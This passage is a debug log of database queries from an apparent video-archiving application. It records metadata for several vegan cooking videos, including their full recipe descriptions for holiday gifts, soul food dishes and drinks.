VIDEO ✨\nNUTELLA LIQUEUR\n1 cup homemade vegan Nutella (recipe HERE ➡️ https://steamyvegan.com/vegan-nutella/)\n1½ cups soy milk (or other creamy plant milk)\n¾ cup canned coconut cream\n¼ cup maple syrup\n½ cup vodka or white rum\n\n1. Add all ingredients except the alcohol into a high-speed blender and blend on high for 60 seconds, until it's totally smooth and creamy with no lumps remaining.\n2. Pour into a small saucepan and bring to a low simmer, just until it's just getting bubbly and steaming. Make sure you stir it freqently. \n3. Remove from the heat and allow it to cool completely, stirring occasionally as it cools to prevent any skin forming on top.\n4. Pour in the alcohol and stir once more until it's well combined. Pour into glass jars or bottles, seal them closed and refrigerate overnight before enjoying!\n\nDRIED CURRY LENTIL SOUP MIX\n½ cup green or brown lentils\n1 cup of rice\n⅓ cup red lentils\nSPICE MIX: (or use 3 tsp of store-bought curry powder)\n¾ tsp paprika\n½ tsp turmeric\n½ tsp cumin\n½ tsp chili powder\n½ tsp cinnamon\n¼ tsp black pepper\n¼ tsp sea salt\n⅛ tsp nutmeg\n\nExtra Ingredients for the soup:\n3 garlic cloves, minced\n1 tbsp olive oil (or ¼ cup water or veggie broth)\n1 large onion, diced\n8 cups water\n1 can coconut milk\n\nTo assemble the dry soup mix:\nAdd in layers to a jar or soup bag: The spice mix, rice, brown lentils, and red lentils.\n\nTo make the soup (write these instructions on a card for the recipient):\nSauté the chopped onion and garlic in a large stockpot until translucent and fragrant. Pour in the soup mix plus 8 cups of water or veggie broth. Bring to a boil and simmer on medium-low for 30-40 minutes, or until the rice is cooked. Turn off the heat, stir in the can of coconut milk and serve!\nOptional add-ins: Dried onions, dehydrated vegetables, or chopped carrots, potatoes or cauliflower.\n\nSPICED HOLIDAY NUTS\n4 cups raw mixed nuts \n¼ cup + 2 tbsp pure maple syrup\n1 tsp vanilla extract\n2 tbsp light oil\nzest of 1 orange, about 1½ tbsp\n1 tsp ground cinnamon\n¼ tsp ground ginger\n¼ tsp ground allspice\n¼ tsp ground nutmeg\n⅛ tsp ground cardamom\n¼ tsp salt\n\n1. In a large mixing bowl, combine all the ingredients except the nuts, whisking until all the spices are fully incorporated with no lumps.\n2. Fold in the raw nuts until they're completely coated in the maple glaze.\n3. Transfer to a parchment lined baking sheet and smooth into an even layer. Bake at 300°F for 45 to 50 minutes until the nuts are a deeper gold colour but NOT burnt. Ensure the maple syrup on the parchment remains a golden caramel colour and doesn't burn: this will harden up as it cools to be like toffee!\n4. Remove from oven and let cool completely in pan, the nuts will harden and firm up as they cool. Transfer to jars for gifting and keep refrigerated to make them EXTRA crunchy! \n\nCOCONUT DATE BARK (get my other date bark recipes in this video ➡️ \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0the\u00A0VIRAL\u00A0TikTok\u00A0DATE\u00A0BARK!\u00A0Ve...\u00A0\u00A0)\nhalved medjool dates, pitted\nMelted dark chocolate\nCoconut milk + sunflower seed butter + maple syrup + shredded coconut\nToasted cashews\nExtra shredded coconut for topping\n\nThis is very much a 'non-recipe' so measure and layer in the ingredients with your heart! \n1st layer: halved medjool dates, flatten with a rolling pin over parchment paper\n2nd layer: coconut nut butter mixture\n3rd layer: toasted chopped cashews\n4th layer: melted chocolate\n5th layer: extra shredded coconut\nFreeze for 30 minutes, then chop into squares, transfer to tins or jars for easy gifting. Keep frozen until serving.\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: " <> ..., "Holiday Gift Guide 2023 // DIY Edible Gift Ideas PART 2! ❄️", "fa184128-851f-42c7-8a08-7371d6120f2c", 1, [], false, "v5DCCzmypNg", "https://www.youtube.com/watch?v=v5DCCzmypNg", 241, "/downloads/downloads/alec/Steamy Vegan/2023-12-07 Holiday Gift Guide 2023 ⧸⧸ DIY Edible Gift Ideas PART 2! ❄️/Holiday Gift Guide 2023 ⧸⧸ DIY Edible Gift Ideas PART 2! ❄️ [v5DCCzmypNg].NA", false, false, false, 1, ~U[2023-12-07 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I'm going over my 4 MORE of my favourite Christmas Gift Ideas for foodies! There's nothing quite as thoughtful as giving and receiving some delicious homemade gifts at the holidays and these 4 recipes will be total hits with everyone you make them for. They're all vegan and gluten-free and absolutely yummy!\n\nCheck out my full ''HOLIDAY RECIPES' playlist! 🎄 \u00A0\u00A0\u00A0•\u00A0HOLIDAY\u00A0RECIPES\u00A0\u00A0\n\n✨ RECIPES IN THIS VIDEO ✨\nNUTELLA LIQUEUR\n1 cup homemade vegan Nutella (recipe HERE ➡️ https://steamyvegan.com/vegan-nutella/)\n1½ cups soy milk (or other creamy plant milk)\n¾ cup canned coconut cream\n¼ cup maple syrup\n½ cup vodka or white rum\n\n1. Add all ingredients except the alcohol into a high-speed blender and blend on high for 60 seconds, until it's totally smooth and creamy with no lumps remaining.\n2. Pour into a small saucepan and bring to a low simmer, just until it's just getting bubbly and steaming. Make sure you stir it freqently. \n3. Remove from the heat and allow it to cool completely, stirring occasionally as it cools to prevent any skin forming on top.\n4. Pour in the alcohol and stir once more until it's well combined. Pour into glass jars or bottles, seal them closed and refrigerate overnight before enjoying!\n\nDRIED CURRY LENTIL SOUP MIX\n½ cup green or brown lentils\n1 cup of rice\n⅓ cup red lentils\nSPICE MIX: (or use 3 tsp of store-bought curry powder)\n¾ tsp paprika\n½ tsp turmeric\n½ tsp cumin\n½ tsp chili powder\n½ tsp cinnamon\n¼ tsp black pepper\n¼ tsp sea salt\n⅛ tsp nutmeg\n\nExtra Ingredients for the soup:\n3 garlic cloves, minced\n1 tbsp olive oil (or ¼ cup water or veggie broth)\n1 large onion, diced\n8 cups water\n1 can coconut milk\n\nTo assemble the dry soup mix:\nAdd in layers to a jar or soup bag: The spice mix, rice, brown lentils, and red lentils.\n\nTo make the soup (write these instructions on a card for the recipient):\nSauté the chopped onion and garlic in a large stockpot until translucent and fragrant. Pour in the soup mix plus 8 cups of water or veggie broth. Bring to a boil and simmer on medium-low for 30-40 minutes, or until the rice is cooked. Turn off the heat, stir in the can of coconut milk and serve!\nOptional add-ins: Dried onions, dehydrated vegetables, or chopped carrots, potatoes or cauliflower.\n\nSPICED HOLIDAY NUTS\n4 cups raw mixed nuts \n¼ cup + 2 tbsp pure maple syrup\n1 tsp vanilla extract\n2 tbsp light oil\nzest of 1 (truncated) 20:31:07.881 [debug] QUERY OK source="sources" db=0.7ms idle=9.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.883 [debug] QUERY OK source="media_items" db=2.2ms idle=9.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-05 00:00:00Z], 1] 20:31:07.885 [debug] QUERY OK source="media_items" db=1.5ms idle=10.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this vegan and gluten-free grocery haul I'll show you what I eat in a week and the price of everything we bought in Vancouver, Canada. 🇨🇦 \n\nTOTAL SPENT = $400 CAD / $295 USD\n\nLeave us a comment and let us know what you love to buy at Costco! We'd also love to know what Costco USA 🇺🇸 has for vegans as we're only 45 minutes away from a US location over the border. 🚗\n\nCheck out this Vegan Haul Under $100! ➡️ \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Grocery\u00A0Haul\u00A0Under\u00A0$100!\u00A0Plant-based...\u00A0\u00A0\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "COSTCO GROCERY HAUL for the Holidays | Vegan & Gluten-Free!", "1d74ae5e-919d-4511-8b8a-dbba9aac6973", 1, [], false, "cEeKSiXuCxg", "https://www.youtube.com/watch?v=cEeKSiXuCxg", 242, "/downloads/downloads/alec/Steamy Vegan/2023-12-05 COSTCO GROCERY HAUL for the Holidays | Vegan & Gluten-Free!/COSTCO GROCERY HAUL for the Holidays | Vegan & Gluten-Free! [cEeKSiXuCxg].NA", false, false, false, 1, ~U[2023-12-05 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this vegan and gluten-free grocery haul I'll show you what I eat in a week and the price of everything we bought in Vancouver, Canada. 🇨🇦 \n\nTOTAL SPENT = $400 CAD / $295 USD\n\nLeave us a comment and let us know what you love to buy at Costco! We'd also love to know what Costco USA 🇺🇸 has for vegans as we're only 45 minutes away from a US location over the border. 🚗\n\nCheck out this Vegan Haul Under $100! ➡️ \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Grocery\u00A0Haul\u00A0Under\u00A0$100!\u00A0Plant-based...\u00A0\u00A0\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "COSTCO GROCERY HAUL for the Holidays | Vegan & Gluten-Free!", 1, nil, false, "cEeKSiXuCxg", "https://www.youtube.com/watch?v=cEeKSiXuCxg", "/downloads/downloads/alec/Steamy Vegan/2023-12-05 COSTCO GROCERY HAUL for the Holidays | Vegan & Gluten-Free!/COSTCO GROCERY HAUL for the Holidays | Vegan & Gluten-Free! [cEeKSiXuCxg].NA", false, ~U[2023-12-05 00:00:00Z]] 20:31:07.887 [debug] QUERY OK source="sources" db=0.9ms idle=9.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.890 [debug] QUERY OK source="media_items" db=2.5ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-01 00:00:00Z], 1] 20:31:07.896 [debug] QUERY OK source="media_items" db=5.4ms idle=9.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We're making SOUL FOOD VEGANIZED in this video! You'll learn how to make VEGAN pulled pork, bacon baked beans, winter slaw and carrot fries YUM! There's something extra special about creating plant-based versions of some of the best southern soul foods that many of us have grown up with! I hope you enjoy these recipes!\n\nWatch my full 'DINNERS' playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0DINNER\u00A0\u00A0\nOR take a peek at my 'WHAT I EAT IN A DAY' playlist ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nTOFU 'PULLED PORK'\n1 block extra firm tofu\n1 tbsp light oil \n1 tbsp vegan Worcestershire or soy sauce\n2 tsp chipotle or chili powder \n½ tsp smoked paprika\n½ tsp garlic powder\n¼ cup bbq sauce\n¼ cup water \n4 gluten-free ciabatta buns\n vegan mayo \nlettuce \nsliced tomato\n\n1. Preheat oven to 350F and into a large bowl shred the block of tofu using the large hole side of a cheese grater.\n2. Toss shredded tofu with oil, worcestershire, and spices.\n3. Transfer tofu to a lightly greased sheet pan and bake in the oven for 21 to 23 minutes, tossing tofu halfway through cooking time.\n4. Add bbq sauce and water to a skillet over medium heat, stir in the tofu until coated and heat through until bubbling and the sauce is thickened. Add more BBQ sauce if desired. Serve in a bun with mayo, lettuce and tomato and enjoy!\n\nVEGAN MAPLE BACUN BAKED BEANS\n1 pound dry white beans (2 cups) OR 3 cans white beans\n1 tbsp oil\n2 onions, finely diced\n4 cloves garlic, minced\n6 tbsp blackstrap molasses\n¾ cup ketchup\n½ cup maple syrup \n1 tsp salt\n2 tbsp vegan Worcestershire sauce OR balsamic vinegar\n½ tsp smoked paprika\n2 tbsp dry mustard\nHalf a bunch of kale, chopped\n1 package tempeh bacon\n\nPre-step; cook beans in instant pot if not using canned\n1. Soak 2 cups of dry white beans in water overnight, cook in instant pot, drain, set aside\n\n1. Preheat oven to 350F\n2. Chop the tempeh ‘bacon’ into chunks.\n3. In a large pot, warm the olive oil over medium heat. Add the tempeh and cook for 5 to 7 minutes, stirring once or twice, until it darkens in colour and begins to caramelize.\n4. Remove from the pan and Add the chopped onion and stir for about 5 minutes, until soft. Then add the garlic and cook for 1 more minute.\n5. To the pot add the molasses, ketchup, maple syrup, salt, Worcestershire, paprika, and mustard and stir well to combine. Then add the beans and tempeh.\n6. Transfer to a large 9x3 lightly oiled casserole dish. Cover with foil or lid and bake for 1 hours. Remove foil and continue baking until the beans looks caramelized on top, another 15 to 30 minutes\n\nSWEET APPLE & FENNEL SLAW\n\n3 tablespoons extra-virgin olive oil\n2½ tablespoons apple cider vinegar\n1½ tablespoons coarsely chopped fresh tarragon\n2 teaspoons fresh lemon juice\n3 celery stalks, thinly sliced diagonally\n2 small fennel bulbs, thinly sliced crosswise, plus 1 tablespoon chopped fennel fronds\n2 small firm, crisp apples, julienned\nsalt and freshly ground black pepper to taste\n\n1. Whisk the ACV, oil, tarragon and lemon juice in a medium bowl. Add celery and celery leaves, thinly sliced fennel and chopped fennel fronds, and apple; toss to coat. Season to taste with salt and pepper. Enjoy!\n\nCARROT FRIES\n5 to 6 large carrots, sliced into matchstick fries\n2 tbsp nutritional yeast\n1 tbsp light oil\n1 tsp dried parsley\n½ tsp smoked paprika\nsalt pepper to taste\n\n1. Toss the carrot sticks with the oil, nutritional yeast and spices. Transfer to an air fryer basket, air fry for 18 to 22 minutes at 425F until browned and crisped slightly.\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Soul Food VEGANIZED - Pulled Pork, Baked Beans, Slaw, and Carrot Fries", "e07b3ccd-e7cb-4769-b707-a28f5c2ea6c8", 1, [], false, "e24Mb8bvSMY", "https://www.youtube.com/watch?v=e24Mb8bvSMY", 243, "/downloads/downloads/alec/Steamy Vegan/2023-12-01 Soul Food VEGANIZED - Pulled Pork, Baked Beans, Slaw, and Carrot Fries/Soul Food VEGANIZED - Pulled Pork, Baked Beans, Slaw, and Carrot Fries [e24Mb8bvSMY].NA", false, false, false, 1, ~U[2023-12-01 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "We're making SOUL FOOD VEGANIZED in this video! You'll learn how to make VEGAN pulled pork, bacon baked beans, winter slaw and carrot fries YUM! There's something extra special about creating plant-based versions of some of the best southern soul foods that many of us have grown up with! I hope you enjoy these recipes!\n\nWatch my full 'DINNERS' playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0DINNER\u00A0\u00A0\nOR take a peek at my 'WHAT I EAT IN A DAY' playlist ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nTOFU 'PULLED PORK'\n1 block extra firm tofu\n1 tbsp light oil \n1 tbsp vegan Worcestershire or soy sauce\n2 tsp chipotle or chili powder \n½ tsp smoked paprika\n½ tsp garlic powder\n¼ cup bbq sauce\n¼ cup water \n4 gluten-free ciabatta buns\n vegan mayo \nlettuce \nsliced tomato\n\n1. Preheat oven to 350F and into a large bowl shred the block of tofu using the large hole side of a cheese grater.\n2. Toss shredded tofu with oil, worcestershire, and spices.\n3. Transfer tofu to a lightly greased sheet pan and bake in the oven for 21 to 23 minutes, tossing tofu halfway through cooking time.\n4. Add bbq sauce and water to a skillet over medium heat, stir in the tofu until coated and heat through until bubbling and the sauce is thickened. Add more BBQ sauce if desired. Serve in a bun with mayo, lettuce and tomato and enjoy!\n\nVEGAN MAPLE BACUN BAKED BEANS\n1 pound dry white beans (2 cups) OR 3 cans white beans\n1 tbsp oil\n2 onions, finely diced\n4 cloves garlic, minced\n6 tbsp blackstrap molasses\n¾ cup ketchup\n½ cup maple syrup \n1 tsp salt\n2 tbsp vegan Worcestershire sauce OR balsamic vinegar\n½ tsp smoked paprika\n2 tbsp dry mustard\nHalf a bunch of kale, chopped\n1 package tempeh bacon\n\nPre-step; cook beans in instant pot if not using canned\n1. Soak 2 cups of dry white beans in water overnight, cook in instant pot, drain, set aside\n\n1. Preheat oven to 350F\n2. Chop the tempeh ‘bacon’ into chunks.\n3. In a large pot, warm the olive oil over medium heat. Add the tempeh and cook for 5 to 7 minutes, stirring once or twice, until it darkens in colour and begins to caramelize.\n4. Remove from the pan and Add the chopped onion and stir for about 5 minutes, until soft. Then add the garlic and cook for 1 more minute.\n5. To the pot add the molasses, ketchup, maple syrup, salt, Worcestershire, paprika, and mustard and stir well to combine. Then add the beans and tempeh.\n6. Transfer to a large 9x3 lightly oiled casserole dish. Cover with foil or lid and bake for 1 hours. Remove foil and continue baking until the beans looks caramelized on top, another 15 to 30 minutes\n\nSWEET APPLE & FENNEL SLAW\n\n3 tablespoons extra-virgin olive oil\n2½ tablespoons apple cider vinegar\n1½ tablespoons coarsely chopped fresh tarragon\n2 teaspoons fresh lemon juice\n3 celery stalks, thinly sliced diago (truncated) 20:31:07.897 [debug] QUERY OK source="sources" db=0.5ms idle=13.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.900 [debug] QUERY OK source="media_items" db=2.1ms idle=12.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-27 00:00:00Z], 1] 20:31:07.902 [debug] QUERY OK source="media_items" db=1.9ms idle=13.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I show you what I ate in a day as a vegan, while getting my house decorated and ready for Christmas! 🎄 Some of these meals I make pretty frequently but I always change it up a little to keep things feeling fresh. I’ll also be showing you how I make the most of random leftovers that we all gotta deal with occasionally. Make you stick around til the end where I’ll show you one of my favourite festive treats.\n\nWatch my full 'WHAT I EAT IN A DAY' playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nLooking for some foodie gift-giving inspiration? Watch this video next: Christmas Gift Ideas For FOODIES! 🎄 Vegan, Gluten-Free \u00A0\u00A0\u00A0•\u00A0Christmas\u00A0Gift\u00A0Ideas\u00A0For\u00A0FOODIES!\u00A0\u00A0PART\u00A01🎄...\u00A0\u00A0\nOr check out my 'HOLIDAY RECIPES' playlist ➡️ \u00A0\u00A0\u00A0•\u00A0HOLIDAY\u00A0RECIPES\u00A0\u00A0\n\n*RECIPES MENTIONED IN THIS VIDEO*:\nPUMPKIN NOG\nblend all together\n1¼ cup soy milk (oat, cashew or almond works too)\n¼ cup pumpkin puree\n¼ cup canned coconut milk\n3 medjool dates, pitted and soaked 15 mins in hot water\n1 tsp pumpkin pie spice\n½ tsp vanilla extract\nPinch of salt \n\nSALTED CARAMEL REISHI HOT CHOCOLATE ☕️ \nSalted Caramel blend & Reishi Hot Chocolate blend from \u202A@itsblume_\u202C \nMaple marshmallows (vegan) from Dandies\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN What I Eat In a Day | Get ready with me for Christmas! 🎄", "c46ad4af-112b-4758-b060-5a676cd3dc20", 1, [], false, "U3w6EA5ln2I", "https://www.youtube.com/watch?v=U3w6EA5ln2I", 244, "/downloads/downloads/alec/Steamy Vegan/2023-11-27 VEGAN What I Eat In a Day | Get ready with me for Christmas! 🎄/VEGAN What I Eat In a Day | Get ready with me for Christmas! 🎄 [U3w6EA5ln2I].NA", false, false, false, 2, ~U[2023-11-27 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I show you what I ate in a day as a vegan, while getting my house decorated and ready for Christmas! 🎄 Some of these meals I make pretty frequently but I always change it up a little to keep things feeling fresh. I’ll also be showing you how I make the most of random leftovers that we all gotta deal with occasionally. Make you stick around til the end where I’ll show you one of my favourite festive treats.\n\nWatch my full 'WHAT I EAT IN A DAY' playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nLooking for some foodie gift-giving inspiration? Watch this video next: Christmas Gift Ideas For FOODIES! 🎄 Vegan, Gluten-Free \u00A0\u00A0\u00A0•\u00A0Christmas\u00A0Gift\u00A0Ideas\u00A0For\u00A0FOODIES!\u00A0\u00A0PART\u00A01🎄...\u00A0\u00A0\nOr check out my 'HOLIDAY RECIPES' playlist ➡️ \u00A0\u00A0\u00A0•\u00A0HOLIDAY\u00A0RECIPES\u00A0\u00A0\n\n*RECIPES MENTIONED IN THIS VIDEO*:\nPUMPKIN NOG\nblend all together\n1¼ cup soy milk (oat, cashew or almond works too)\n¼ cup pumpkin puree\n¼ cup canned coconut milk\n3 medjool dates, pitted and soaked 15 mins in hot water\n1 tsp pumpkin pie spice\n½ tsp vanilla extract\nPinch of salt \n\nSALTED CARAMEL REISHI HOT CHOCOLATE ☕️ \nSalted Caramel blend & Reishi Hot Chocolate blend from \u202A@itsblume_\u202C \nMaple marshmallows (vegan) from Dandies\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN What I Eat In a Day | Get ready with me for Christmas! 🎄", 1, nil, false, "U3w6EA5ln2I", "https://www.youtube.com/watch?v=U3w6EA5ln2I", "/downloads/downloads/alec/Steamy Vegan/2023-11-27 VEGAN What I Eat In a Day | Get ready with me for Christmas! 🎄/VEGAN What I Eat In a Day | Get ready with me for Christmas! 🎄 [U3w6EA5ln2I].NA", false, ~U[2023-11-27 00:00:00Z]] 20:31:07.903 [debug] QUERY OK source="sources" db=0.8ms idle=12.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.906 [debug] QUERY OK source="media_items" db=2.3ms idle=7.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-21 00:00:00Z], 1] 20:31:07.909 [debug] QUERY OK source="media_items" db=2.1ms idle=9.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I'm going over my TOP 5 favourite Christmas Gift Ideas for foodies! There's nothing quite as thoughtful as giving and receiving some delicious homemade gifts at the holidays and these 5 recipes will be total hits with everyone you make them for. They're all vegan and gluten-free and absolutely yummy!\n\nCheck out my full ''HOLIDAY RECIPES' playlist! 🎄 \u00A0\u00A0\u00A0•\u00A0HOLIDAY\u00A0RECIPES\u00A0\u00A0\n\nRECIPES IN THIS VIDEO\n\nChocolate Orange Granola ➡️ \u00A0\u00A0\u00A0•\u00A0CACAO\u00A0ORANGE\u00A0GRANOLA\u00A0//\u00A0vegan,\u00A0gluten-free...\u00A0\u00A0\nVegan Eggnog ➡️ 